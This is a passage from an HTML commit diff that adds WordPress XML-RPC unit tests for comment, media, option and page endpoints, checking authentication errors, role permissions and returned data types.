+               $result = $this->myxmlrpcserver->wp_editTerm( array( 1, 'editor', 'editor', $this->child_term['term_id'], $fields ) );
+
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertInternalType( 'boolean', $result );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsxmlrpcwpgetCommentphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/xmlrpc/wp/getComment.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/xmlrpc/wp/getComment.php                               (rev 0)
+++ trunk/tests/tests/xmlrpc/wp/getComment.php  2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,105 @@
</span><ins>+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_wp_getComment extends WP_XMLRPC_UnitTestCase {
+       var $post_id;
+       var $parent_comment_id;
+       var $parent_comment_data;
+       var $child_comment_id;
+       var $child_comment_data;
+
+       function setUp() {
+               parent::setUp();
+
+               $this->post_id = $this->factory->post->create();
+
+               $this->parent_comment_data = array(
+                       'comment_post_ID' => $this->post_id,
+                       'comment_author' => 'Test commenter',
+                       'comment_author_url' => 'http://example.com/',
+                       'comment_author_email' => 'example@example.com',
+                       'comment_content' => rand_str( 100 ),
+               );
+               $this->parent_comment_id = wp_insert_comment( $this->parent_comment_data );
+
+               $this->child_comment_data = array(
+                       'comment_post_ID' => $this->post_id,
+                       'comment_author' => 'Test commenter 2',
+                       'comment_author_url' => 'http://example.org/',
+                       'comment_author_email' => 'example@example.org',
+                       'comment_parent' => $this->parent_comment_id,
+                       'comment_content' => rand_str( 100 )
+               );
+               $this->child_comment_id = wp_insert_comment( $this->child_comment_data );
+       }
+
+       function test_invalid_username_password() {
+               $result = $this->myxmlrpcserver->wp_getComment( array( 1, 'username', 'password', $this->parent_comment_id ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+       }
+
+       function test_incapable_user() {
+               $this->make_user_by_role( 'contributor' );
+
+               $result = $this->myxmlrpcserver->wp_getComment( array( 1, 'contributor', 'contributor', $this->parent_comment_id ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+       }
+
+       function test_valid_comment() {
+               $this->make_user_by_role( 'editor' );
+
+               $result = $this->myxmlrpcserver->wp_getComment( array( 1, 'editor', 'editor', $this->parent_comment_id ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+
+               // Check data types
+               $this->assertInternalType( 'string', $result['user_id'] );
+               $this->assertInternalType( 'string', $result['comment_id'] );
+               $this->assertInstanceOf( 'IXR_Date', $result['date_created_gmt'] );
+               $this->assertInternalType( 'string', $result['parent'] );
+               $this->assertInternalType( 'string', $result['status'] );
+               $this->assertInternalType( 'string', $result['content'] );
+               $this->assertInternalType( 'string', $result['link'] );
+               $this->assertInternalType( 'string', $result['post_id'] );
+               $this->assertInternalType( 'string', $result['post_title'] );
+               $this->assertInternalType( 'string', $result['author'] );
+               $this->assertInternalType( 'string', $result['author_url'] );
+               $this->assertInternalType( 'string', $result['author_email'] );
+               $this->assertInternalType( 'string', $result['author_ip'] );
+               $this->assertInternalType( 'string', $result['type'] );
+
+               // Check expected values
+               $this->assertStringMatchesFormat( '%d', $result['user_id'] );
+               $this->assertStringMatchesFormat( '%d', $result['comment_id'] );
+               $this->assertStringMatchesFormat( '%d', $result['parent'] );
+               $this->assertStringMatchesFormat( '%d', $result['post_id'] );
+               $this->assertEquals( $this->parent_comment_id, $result['comment_id'] );
+               $this->assertEquals( 0, $result['parent'] );
+               $this->assertEquals( $this->parent_comment_data['comment_content'], $result['content'] );
+               $this->assertEquals( $this->post_id, $result['post_id'] );
+               $this->assertEquals( $this->parent_comment_data['comment_author'], $result['author'] );
+               $this->assertEquals( $this->parent_comment_data['comment_author_url'], $result['author_url'] );
+               $this->assertEquals( $this->parent_comment_data['comment_author_email'], $result['author_email'] );
+       }
+
+       function test_valid_child_comment() {
+               $this->make_user_by_role( 'editor' );
+
+               $result = $this->myxmlrpcserver->wp_getComment( array( 1, 'editor', 'editor', $this->child_comment_id ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+
+               $this->assertEquals( $this->child_comment_id, $result['comment_id'] );
+               $this->assertEquals( $this->parent_comment_id, $result['parent'] );
+       }
+
+       function test_invalid_id() {
+               $this->make_user_by_role( 'editor' );
+
+               $result = $this->myxmlrpcserver->wp_getComment( array( 1, 'editor', 'editor', 123456789 ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 404, $result->code );
+       }
+}
</ins><span class="cx">\ No newline at end of file
</span></span></pre></div>
<a id="trunkteststestsxmlrpcwpgetCommentsphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/xmlrpc/wp/getComments.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/xmlrpc/wp/getComments.php                              (rev 0)
+++ trunk/tests/tests/xmlrpc/wp/getComments.php 2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,74 @@
</span><ins>+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_wp_getComments extends WP_XMLRPC_UnitTestCase {
+       var $post_id;
+
+       function setUp() {
+               parent::setUp();
+
+               $this->post_id = $this->factory->post->create();
+               $this->factory->comment->create_post_comments( $this->post_id, 15 );
+       }
+
+       function test_invalid_username_password() {
+               $result = $this->myxmlrpcserver->wp_getComments( array( 1, 'username', 'password', array() ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+       }
+
+       function test_incapable_user() {
+               $this->make_user_by_role( 'contributor' );
+
+               $result = $this->myxmlrpcserver->wp_getComments( array( 1, 'contributor', 'contributor', array() ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 401, $result->code );
+       }
+
+       function test_capable_user() {
+               $this->make_user_by_role( 'editor' );
+
+               $results = $this->myxmlrpcserver->wp_getComments( array( 1, 'editor', 'editor', array() ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $results );
+
+               foreach( $results as $result ) {
+                       $comment = get_comment( $result['comment_id'], ARRAY_A );
+                       $this->assertEquals( $comment['comment_post_ID'], $result['post_id'] );
+               }
+       }
+
+       function test_post_filter() {
+               $this->make_user_by_role( 'editor' );
+
+               $filter = array(
+                       'post_id' => $this->post_id
+               );
+               $results = $this->myxmlrpcserver->wp_getComments( array( 1, 'editor', 'editor', $filter ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $results );
+
+               foreach( $results as $result ) {
+                       $this->assertEquals( $this->post_id, $result['post_id'] );
+               }
+       }
+
+       function test_number_filter() {
+               $this->make_user_by_role( 'editor' );
+
+               $filter = array(
+                       'post_id' => $this->post_id,
+               );
+               $results = $this->myxmlrpcserver->wp_getComments( array( 1, 'editor', 'editor', $filter ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $results );
+
+               // if no 'number' filter is specified, default should be 10
+               $this->assertEquals( 10, count( $results ) );
+
+               // explicitly set a 'number' filter and verify that only that many are returned
+               $filter['number'] = 5;
+               $results2 = $this->myxmlrpcserver->wp_getComments( array( 1, 'editor', 'editor', $filter ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $results2 );
+               $this->assertEquals( 5, count( $results2 ) );
+       }
+}
</ins><span class="cx">\ No newline at end of file
</span></span></pre></div>
<a id="trunkteststestsxmlrpcwpgetMediaItemphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/xmlrpc/wp/getMediaItem.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/xmlrpc/wp/getMediaItem.php                             (rev 0)
+++ trunk/tests/tests/xmlrpc/wp/getMediaItem.php        2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,78 @@
</span><ins>+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_wp_getMediaItem extends WP_XMLRPC_UnitTestCase {
+       var $post_id;
+       var $attachment_data;
+       var $attachment_id;
+
+       function setUp() {
+               parent::setUp();
+
+               add_theme_support( 'post-thumbnails' );
+
+               $this->post_id = wp_insert_post( array(
+                       'post_title' => rand_str(),
+                       'post_content' => rand_str(),
+                       'post_status' => 'publish'
+               ));
+
+               $filename = ( DIR_TESTDATA.'/images/waffles.jpg' );
+               $contents = file_get_contents( $filename );
+               $upload = wp_upload_bits(basename($filename), null, $contents);
+               $mime = wp_check_filetype( $filename );
+               $this->attachment_data = array(
+                       'post_title' => basename( $upload['file'] ),
+                       'post_content' => '',
+                       'post_type' => 'attachment',
+                       'post_parent' => $this->post_id,
+                       'post_mime_type' => $mime['type'],
+                       'guid' => $upload[ 'url' ]
+               );
+
+               $id = wp_insert_attachment( $this->attachment_data, $upload[ 'file' ], $this->post_id );
+               wp_update_attachment_metadata( $id, wp_generate_attachment_metadata( $id, $upload['file'] ) );
+               $this->attachment_id = $id;
+
+               set_post_thumbnail( $this->post_id, $this->attachment_id );
+       }
+
+       function tearDown() {
+               remove_theme_support( 'post-thumbnails' );
+
+               parent::tearDown();
+       }
+
+       function test_invalid_username_password() {
+               $result = $this->myxmlrpcserver->wp_getMediaItem( array( 1, 'username', 'password', 0 ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+       }
+
+       function test_valid_media_item() {
+               $this->make_user_by_role( 'author' );
+
+               $fields = array( 'post' );
+               $result = $this->myxmlrpcserver->wp_getMediaItem( array( 1, 'author', 'author', $this->attachment_id, $fields ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+
+               // Check data types
+               $this->assertInternalType( 'string', $result['attachment_id'] );
+               $this->assertInternalType( 'int', $result['parent'] );
+               $this->assertInternalType( 'string', $result['title'] );
+               $this->assertInstanceOf( 'IXR_Date', $result['date_created_gmt'] );
+               $this->assertInternalType( 'string', $result['caption'] );
+               $this->assertInternalType( 'string', $result['description'] );
+               $this->assertInternalType( 'string', $result['link'] );
+               $this->assertInternalType( 'string', $result['thumbnail'] );
+               $this->assertInternalType( 'array', $result['metadata'] );
+
+               // Check expected values
+               $this->assertStringMatchesFormat( '%d', $result['attachment_id'] );
+               $this->assertEquals( $this->attachment_data['post_title'], $result['title'] );
+               $this->assertEquals( wp_get_attachment_url( $this->attachment_id ), $result['link'] );
+               $this->assertEquals( wp_get_attachment_thumb_url( $this->attachment_id ), $result['thumbnail'] );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsxmlrpcwpgetOptionsphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/xmlrpc/wp/getOptions.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/xmlrpc/wp/getOptions.php                               (rev 0)
+++ trunk/tests/tests/xmlrpc/wp/getOptions.php  2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,211 @@
</span><ins>+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_wp_getOptions extends WP_XMLRPC_UnitTestCase {
+
+       function test_invalid_username_password() {
+               $result = $this->myxmlrpcserver->wp_getOptions( array( 1, 'username', 'password' ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+       }
+
+       function test_valid_username_password() {
+               $this->make_user_by_role( 'subscriber' );
+
+               $result = $this->myxmlrpcserver->wp_getOptions( array( 1, 'subscriber', 'subscriber' ) );
+               $this->assertInternalType( 'array', $result );
+               $this->assertEquals( 'WordPress', $result['software_name']['value'] );
+       }
+
+       function test_option_value() {
+               $this->make_user_by_role( 'administrator' );
+
+               $result = $this->myxmlrpcserver->wp_getOptions( array( 1, 'administrator', 'administrator', 'default_comment_status' ) );
+               $this->assertInternalType( 'array', $result );
+
+               $this->assertEquals( get_option( 'default_comment_status' ), $result['default_comment_status']['value'] );
+               $this->assertFalse( $result['default_comment_status']['readonly'] );
+       }
+
+       /**
+        * @ticket 20201
+        */
+       function test_option_values_subscriber() {
+               global $wp_version;
+               $this->make_user_by_role( 'subscriber' );
+
+               $result = $this->myxmlrpcserver->wp_getOptions( array( 1, 'subscriber', 'subscriber' ) );
+               $this->assertInternalType( 'array', $result );
+
+               // Read Only options
+               $this->assertEquals( 'WordPress', $result['software_name']['value'] );
+               $this->assertTrue( $result['software_name']['readonly'] );
+
+               $this->assertEquals( $wp_version, $result['software_version']['value'] );
+               $this->assertTrue( $result['software_version']['readonly'] );
+
+               $this->assertEquals( get_site_url(), $result['blog_url']['value'] );
+               $this->assertTrue( $result['blog_url']['readonly'] );
+
+               $this->assertEquals( wp_login_url(), $result['login_url']['value'] );
+               $this->assertTrue( $result['login_url']['readonly'] );
+
+               $this->assertEquals( get_admin_url(), $result['admin_url']['value'] );
+               $this->assertTrue( $result['admin_url']['readonly'] );
+
+               $this->assertEquals( get_option( 'image_default_link_type' ), $result['image_default_link_type']['value'] );
+               $this->assertTrue( $result['image_default_link_type']['readonly'] );
+
+               $this->assertEquals( get_option( 'image_default_size' ), $result['image_default_size']['value'] );
+               $this->assertTrue( $result['image_default_size']['readonly'] );
+
+               $this->assertEquals( get_option( 'image_default_align' ), $result['image_default_align']['value'] );
+               $this->assertTrue( $result['image_default_align']['readonly'] );
+
+               $this->assertEquals( get_template(), $result['template']['value'] );
+               $this->assertTrue( $result['template']['readonly'] );
+
+               $this->assertEquals( get_stylesheet(), $result['stylesheet']['value'] );
+               $this->assertTrue( $result['stylesheet']['readonly'] );
+
+               $this->assertEquals( current_theme_supports( 'post-thumbnails' ), $result['post_thumbnail']['value'] );
+               $this->assertTrue( $result['post_thumbnail']['readonly'] );
+
+               // Updatable options
+               $this->assertEquals( get_option( 'gmt_offset' ), $result['time_zone']['value'] );
+               $this->assertTrue( $result['time_zone']['readonly'] );
+
+               $this->assertEquals( get_option( 'blogname' ), $result['blog_title']['value'] );
+               $this->assertTrue( $result['blog_title']['readonly'] );
+
+               $this->assertEquals( get_option( 'blogdescription' ), $result['blog_tagline']['value'] );
+               $this->assertTrue( $result['blog_tagline']['readonly'] );
+
+               $this->assertEquals( get_option( 'date_format' ), $result['date_format']['value'] );
+               $this->assertTrue( $result['date_format']['readonly'] );
+
+               $this->assertEquals( get_option( 'time_format' ), $result['time_format']['value'] );
+               $this->assertTrue( $result['time_format']['readonly'] );
+
+               $this->assertEquals( get_option( 'users_can_register' ), $result['users_can_register']['value'] );
+               $this->assertTrue( $result['users_can_register']['readonly'] );
+
+               $this->assertEquals( get_option( 'thumbnail_size_w' ), $result['thumbnail_size_w']['value'] );
+               $this->assertTrue( $result['thumbnail_size_w']['readonly'] );
+
+               $this->assertEquals( get_option( 'thumbnail_size_h' ), $result['thumbnail_size_h']['value'] );
+               $this->assertTrue( $result['thumbnail_size_h']['readonly'] );
+
+               $this->assertEquals( get_option( 'thumbnail_crop' ), $result['thumbnail_crop']['value'] );
+               $this->assertTrue( $result['thumbnail_crop']['readonly'] );
+
+               $this->assertEquals( get_option( 'medium_size_w' ), $result['medium_size_w']['value'] );
+               $this->assertTrue( $result['medium_size_w']['readonly'] );
+
+               $this->assertEquals( get_option( 'medium_size_h' ), $result['medium_size_h']['value'] );
+               $this->assertTrue( $result['medium_size_h']['readonly'] );
+
+               $this->assertEquals( get_option( 'large_size_w' ), $result['large_size_w']['value'] );
+               $this->assertTrue( $result['large_size_w']['readonly'] );
+
+               $this->assertEquals( get_option( 'large_size_h' ), $result['large_size_h']['value'] );
+               $this->assertTrue( $result['large_size_h']['readonly'] );
+
+               $this->assertEquals( get_option( 'default_comment_status' ), $result['default_comment_status']['value'] );
+               $this->assertTrue( $result['default_comment_status']['readonly'] );
+
+               $this->assertEquals( get_option( 'default_ping_status' ), $result['default_ping_status']['value'] );
+               $this->assertTrue( $result['default_ping_status']['readonly'] );
+       }
+
+       function test_option_values_admin() {
+               global $wp_version;
+
+               $this->make_user_by_role( 'administrator' );
+
+               $result = $this->myxmlrpcserver->wp_getOptions( array( 1, 'administrator', 'administrator' ) );
+               $this->assertInternalType( 'array', $result );
+
+               // Read Only options
+               $this->assertEquals( 'WordPress', $result['software_name']['value'] );
+               $this->assertTrue( $result['software_name']['readonly'] );
+
+               $this->assertEquals( $wp_version, $result['software_version']['value'] );
+               $this->assertTrue( $result['software_version']['readonly'] );
+
+               $this->assertEquals( get_site_url(), $result['blog_url']['value'] );
+               $this->assertTrue( $result['blog_url']['readonly'] );
+
+               $this->assertEquals( wp_login_url(), $result['login_url']['value'] );
+               $this->assertTrue( $result['login_url']['readonly'] );
+
+               $this->assertEquals( get_admin_url(), $result['admin_url']['value'] );
+               $this->assertTrue( $result['admin_url']['readonly'] );
+
+               $this->assertEquals( get_option( 'image_default_link_type' ), $result['image_default_link_type']['value'] );
+               $this->assertTrue( $result['image_default_link_type']['readonly'] );
+
+               $this->assertEquals( get_option( 'image_default_size' ), $result['image_default_size']['value'] );
+               $this->assertTrue( $result['image_default_size']['readonly'] );
+
+               $this->assertEquals( get_option( 'image_default_align' ), $result['image_default_align']['value'] );
+               $this->assertTrue( $result['image_default_align']['readonly'] );
+
+               $this->assertEquals( get_template(), $result['template']['value'] );
+               $this->assertTrue( $result['template']['readonly'] );
+
+               $this->assertEquals( get_stylesheet(), $result['stylesheet']['value'] );
+               $this->assertTrue( $result['stylesheet']['readonly'] );
+
+               $this->assertEquals( current_theme_supports( 'post-thumbnails' ), $result['post_thumbnail']['value'] );
+               $this->assertTrue( $result['post_thumbnail']['readonly'] );
+
+               // Updatable options
+               $this->assertEquals( get_option( 'gmt_offset' ), $result['time_zone']['value'] );
+               $this->assertFalse( $result['time_zone']['readonly'] );
+
+               $this->assertEquals( get_option( 'blogname' ), $result['blog_title']['value'] );
+               $this->assertFalse( $result['blog_title']['readonly'] );
+
+               $this->assertEquals( get_option( 'blogdescription' ), $result['blog_tagline']['value'] );
+               $this->assertFalse( $result['blog_tagline']['readonly'] );
+
+               $this->assertEquals( get_option( 'date_format' ), $result['date_format']['value'] );
+               $this->assertFalse( $result['date_format']['readonly'] );
+
+               $this->assertEquals( get_option( 'time_format' ), $result['time_format']['value'] );
+               $this->assertFalse( $result['time_format']['readonly'] );
+
+               $this->assertEquals( get_option( 'users_can_register' ), $result['users_can_register']['value'] );
+               $this->assertFalse( $result['users_can_register']['readonly'] );
+
+               $this->assertEquals( get_option( 'thumbnail_size_w' ), $result['thumbnail_size_w']['value'] );
+               $this->assertFalse( $result['thumbnail_size_w']['readonly'] );
+
+               $this->assertEquals( get_option( 'thumbnail_size_h' ), $result['thumbnail_size_h']['value'] );
+               $this->assertFalse( $result['thumbnail_size_h']['readonly'] );
+
+               $this->assertEquals( get_option( 'thumbnail_crop' ), $result['thumbnail_crop']['value'] );
+               $this->assertFalse( $result['thumbnail_crop']['readonly'] );
+
+               $this->assertEquals( get_option( 'medium_size_w' ), $result['medium_size_w']['value'] );
+               $this->assertFalse( $result['medium_size_w']['readonly'] );
+
+               $this->assertEquals( get_option( 'medium_size_h' ), $result['medium_size_h']['value'] );
+               $this->assertFalse( $result['medium_size_h']['readonly'] );
+
+               $this->assertEquals( get_option( 'large_size_w' ), $result['large_size_w']['value'] );
+               $this->assertFalse( $result['large_size_w']['readonly'] );
+
+               $this->assertEquals( get_option( 'large_size_h' ), $result['large_size_h']['value'] );
+               $this->assertFalse( $result['large_size_h']['readonly'] );
+
+               $this->assertEquals( get_option( 'default_comment_status' ), $result['default_comment_status']['value'] );
+               $this->assertFalse( $result['default_comment_status']['readonly'] );
+
+               $this->assertEquals( get_option( 'default_ping_status' ), $result['default_ping_status']['value'] );
+               $this->assertFalse( $result['default_ping_status']['readonly'] );
+       }
+}
</ins><span class="cx">\ No newline at end of file
</span></span></pre></div>
<a id="trunkteststestsxmlrpcwpgetPagephp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/xmlrpc/wp/getPage.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/xmlrpc/wp/getPage.php                          (rev 0)
+++ trunk/tests/tests/xmlrpc/wp/getPage.php     2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,102 @@
</span><ins>+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_wp_getPage extends WP_XMLRPC_UnitTestCase {
+       var $post_data;
+       var $post_id;
+       var $post_date_ts;
+
+       function setUp() {
+               parent::setUp();
+
+               $this->post_date_ts = strtotime( '+1 day' );
+               $this->post_data = array(
+                       'post_type' => 'page',
+                       'post_title' => rand_str(),
+                       'post_content' => rand_str( 2000 ),
+                       'post_excerpt' => rand_str( 100 ),
+                       'post_author' => $this->make_user_by_role( 'author' ),
+                       'post_date'  => strftime( "%Y-%m-%d %H:%M:%S", $this->post_date_ts ),
+               );
+               $this->post_id = wp_insert_post( $this->post_data );
+       }
+
+       function tearDown() {
+               parent::tearDown();
+
+               wp_delete_post( $this->post_id );
+       }
+
+       function test_invalid_username_password() {
+               $result = $this->myxmlrpcserver->wp_getPage( array( 1, $this->post_id, 'username', 'password' ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+       }
+
+       /**
+        * @ticket 20336
+        */
+       function test_invalid_pageid() {
+               $this->make_user_by_role( 'editor' );
+
+               $result = $this->myxmlrpcserver->wp_getPage( array( 1, 9999, 'editor', 'editor' ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 404, $result->code );
+       }
+
+       function test_valid_page() {
+               $this->make_user_by_role( 'editor' );
+
+               $result = $this->myxmlrpcserver->wp_getPage( array( 1, $this->post_id, 'editor', 'editor' ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+
+               // Check data types
+               $this->assertInternalType( 'string', $result['userid'] );
+               $this->assertInternalType( 'int',    $result['page_id'] );
+               $this->assertInternalType( 'string', $result['page_status'] );
+               $this->assertInternalType( 'string', $result['description'] );
+               $this->assertInternalType( 'string', $result['title'] );
+               $this->assertInternalType( 'string', $result['link'] );
+               $this->assertInternalType( 'string', $result['permaLink'] );
+               $this->assertInternalType( 'array',  $result['categories'] );
+               $this->assertInternalType( 'string', $result['excerpt'] );
+               $this->assertInternalType( 'string', $result['text_more'] );
+               $this->assertInternalType( 'int',    $result['mt_allow_comments'] );
+               $this->assertInternalType( 'int',    $result['mt_allow_pings'] );
+               $this->assertInternalType( 'string', $result['wp_slug'] );
+               $this->assertInternalType( 'string', $result['wp_password'] );
+               $this->assertInternalType( 'string', $result['wp_author'] );
+               $this->assertInternalType( 'int',    $result['wp_page_parent_id'] );
+               $this->assertInternalType( 'string', $result['wp_page_parent_title'] );
+               $this->assertInternalType( 'int',    $result['wp_page_order'] );
+               $this->assertInternalType( 'string', $result['wp_author_id'] );
+               $this->assertInternalType( 'string', $result['wp_author_display_name'] );
+               $this->assertInternalType( 'array',  $result['custom_fields'] );
+               $this->assertInternalType( 'string', $result['wp_page_template'] );
+
+               // Check expected values
+               $this->assertStringMatchesFormat( '%d', $result['userid'] );
+               $this->assertEquals( 'draft', $result['page_status'] );
+               $this->assertEquals( $this->post_data['post_title'], $result['title'] );
+               $this->assertEquals( url_to_postid( $result['link'] ), $this->post_id );
+               $this->assertEquals( $this->post_data['post_excerpt'], $result['excerpt'] );
+               $this->assertStringMatchesFormat( '%d', $result['wp_author_id'] );
+       }
+
+       function test_date() {
+               $this->make_user_by_role( 'editor' );
+
+               $result = $this->myxmlrpcserver->wp_getPage( array( 1, $this->post_id, 'editor', 'editor' ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+
+               $this->assertInstanceOf( 'IXR_Date', $result['dateCreated'] );
+               $this->assertInstanceOf( 'IXR_Date', $result['date_created_gmt'] );
+
+               $date_gmt = strtotime( get_gmt_from_date( mysql2date( 'Y-m-d H:i:s', $this->post_data['post_date'], false ), 'Ymd\TH:i:s' ) );
+
+               $this->assertEquals( $this->post_date_ts, $result['dateCreated']->getTimestamp() );
+               $this->assertEquals( $date_gmt, $result['date_created_gmt']->getTimestamp() );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsxmlrpcwpgetPageListphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/xmlrpc/wp/getPageList.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/xmlrpc/wp/getPageList.php                              (rev 0)
+++ trunk/tests/tests/xmlrpc/wp/getPageList.php 2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,57 @@
</span><ins>+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_wp_getPageList extends WP_XMLRPC_UnitTestCase {
+       var $post_data;
+       var $post_id;
+       var $post_date_ts;
+
+       function setUp() {
+               parent::setUp();
+
+               $this->post_date_ts = strtotime( '+1 day' );
+               $this->post_data = array(
+                       'post_type' => 'page',
+                       'post_title' => rand_str(),
+                       'post_content' => rand_str( 2000 ),
+                       'post_excerpt' => rand_str( 100 ),
+                       'post_author' => $this->make_user_by_role( 'author' ),
+                       'post_date'  => strftime( "%Y-%m-%d %H:%M:%S", $this->post_date_ts ),
+               );
+               $this->post_id = wp_insert_post( $this->post_data );
+       }
+
+       function test_invalid_username_password() {
+               $result = $this->myxmlrpcserver->wp_getPageList( array( 1, 'username', 'password' ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+       }
+
+       function test_incapable_user() {
+               $this->make_user_by_role( 'contributor' );
+
+               $result = $this->myxmlrpcserver->wp_getPageList( array( 1, 'contributor', 'contributor' ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 401, $result->code );
+       }
+
+       function test_date() {
+               $this->make_user_by_role( 'editor' );
+
+               $results = $this->myxmlrpcserver->wp_getPageList( array( 1, 'editor', 'editor' ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $results );
+
+               foreach( $results as $result ) {
+                       $page = get_post( $result->page_id );
+                       $date_gmt = strtotime( get_gmt_from_date( mysql2date( 'Y-m-d H:i:s', $page->post_date, false ), 'Ymd\TH:i:s' ) );
+
+                       $this->assertInstanceOf( 'IXR_Date', $result->dateCreated );
+                       $this->assertInstanceOf( 'IXR_Date', $result->date_created_gmt );
+
+                       $this->assertEquals( strtotime( $page->post_date ), $result->dateCreated->getTimestamp() );
+                       $this->assertEquals( $date_gmt, $result->date_created_gmt->getTimestamp() );
+               }
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsxmlrpcwpgetPagesphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/xmlrpc/wp/getPages.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/xmlrpc/wp/getPages.php                         (rev 0)
+++ trunk/tests/tests/xmlrpc/wp/getPages.php    2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,86 @@
</span><ins>+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_wp_getPages extends WP_XMLRPC_UnitTestCase {
+    var $post_data;
+    var $post_id;
+    var $post_date_ts;
+    var $editor_id;
+
+    function setUp() {
+        parent::setUp();
+
+        $this->post_date_ts = strtotime( '+1 day' );
+        $this->post_data = array(
+            'post_type' => 'page',
+            'post_title' => rand_str(),
+            'post_content' => rand_str( 2000 ),
+            'post_excerpt' => rand_str( 100 ),
+            'post_author' => $this->make_user_by_role( 'administrator' ),
+            'post_date'  => strftime( "%Y-%m-%d %H:%M:%S", $this->post_date_ts ),
+        );
+        $this->post_id = wp_insert_post( $this->post_data );
+        $this->editor_id = $this->make_user_by_role( 'editor' );
+    }
+
+    function test_invalid_username_password() {
+        $result = $this->myxmlrpcserver->wp_getPages( array( 1, 'username', 'password' ) );
+        $this->assertInstanceOf( 'IXR_Error', $result );
+        $this->assertEquals( 403, $result->code );
+    }
+
+    function test_incapable_user() {
+               $this->make_user_by_role( 'contributor' );
+
+        $result = $this->myxmlrpcserver->wp_getPages( array( 1, 'contributor', 'contributor' ) );
+        $this->assertInstanceOf( 'IXR_Error', $result );
+        $this->assertEquals( 401, $result->code );
+    }
+
+    function test_capable_user() {
+        $results = $this->myxmlrpcserver->wp_getPages( array( 1, 'administrator', 'administrator' ) );
+        $this->assertNotInstanceOf( 'IXR_Error', $results );
+
+        foreach( $results as $result ) {
+            $page = get_post( $result['page_id'] );
+            $this->assertEquals( $page->post_type, 'page' );
+        }
+    }
+
+    function remove_editor_edit_page_cap( $caps, $cap, $user_id, $args ) {
+        if ( in_array( $cap, array( 'edit_page', 'edit_others_pages' ) ) ) {
+            if ( $user_id == $this->editor_id && $args[0] == $this->post_id ) {
+                return array( false );
+            }
+        }
+
+        return $caps;
+    }
+
+       /**
+        * @ticket 20629
+        */
+       function test_semi_capable_user() {
+        add_filter( 'map_meta_cap', array( $this, 'remove_editor_edit_page_cap') , 10, 4 );
+
+        $results = $this->myxmlrpcserver->wp_getPages( array( 1, 'editor', 'editor' ) );
+        $this->assertNotInstanceOf( 'IXR_Error', $results );
+
+        $found_incapable = false;
+        foreach( $results as $result ) {
+            // WP#20629
+            $this->assertNotInstanceOf( 'IXR_Error', $result );
+
+            if ( $result['page_id'] == $this->post_id ) {
+                $found_incapable = true;
+                break;
+            }
+        }
+        $this->assertFalse( $found_incapable );
+
+        remove_filter( 'map_meta_cap', array( $this, 'remove_editor_edit_page_cap' ), 10, 4 );
+    }
+
+}
</ins></span></pre></div>
<a id="trunkteststestsxmlrpcwpgetPostphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/xmlrpc/wp/getPost.php (0 => 25002)</h4>
<pre class="diff"><span>
